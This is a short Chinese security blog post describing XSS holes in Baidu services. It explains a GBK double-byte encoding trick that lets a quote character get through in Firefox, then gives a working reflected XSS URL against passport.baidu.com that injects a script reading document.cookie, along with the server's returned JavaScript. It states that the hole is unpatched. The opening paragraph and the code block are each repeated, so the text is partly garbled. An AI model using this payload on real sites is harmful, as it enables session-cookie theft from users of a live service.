来源:0×37 Security
今天看到的百度贴吧XSS有属于这种类型的,不过仅在FF下有效,原因是在GBK字符集及其子集(或更高级的双字节字符集)编码环境下构造类似于包含%c1′这样的双字节字符串时,提交给服务端,返回。在这整个处理过程的任何一环节,FF都会单独处理这两个字节(%c1与’),而服务端却认为这是一个完整的双字节字符,这导致了单引号这样的特殊字符可以侥幸在FF下残留下来。IE不行,那是因为它也认为这两个字节构成了一个双字节字符。
貌似说的有点乱。
将恶意构造的数据作为参数注入到服务端返回的JS数据流中,百度似乎很容易忽略这的过滤。比如这个:
今天看到的百度贴吧XSS有属于这种类型的,不过仅在FF下有效,原因是在GBK字符集及其子集(或更高级的双字节字符集)编码环境下构造类似于包含%c1′这样的双字节字符串时,提交给服务端,返回。在这整个处理过程的任何一环节,FF都会单独处理这两个字节(%c1与’),而服务端却认为这是一个完整的双字节字符,这导致了单引号这样的特殊字符可以侥幸在FF下残留下来。IE不行,那是因为它也认为这两个字节构成了一个双字节字符。
貌似说的有点乱。
将恶意构造的数据作为参数注入到服务端返回的JS数据流中,百度似乎很容易忽略这的过滤。比如这个:
https://passport.baidu.com/?login&u=./?”</script><script>alert(document.cookie)//
打开后,服务端返回的js代码为:<script>
var url=”./?\”</script><script>alert(document.cookie)//”
url=url.replace(/^\.\//gi,”http://passport.baidu.com/“);
location.href=url;
</script>
还没修补。var url=”./?\”</script><script>alert(document.cookie)//”
url=url.replace(/^\.\//gi,”http://passport.baidu.com/“);
location.href=url;
</script>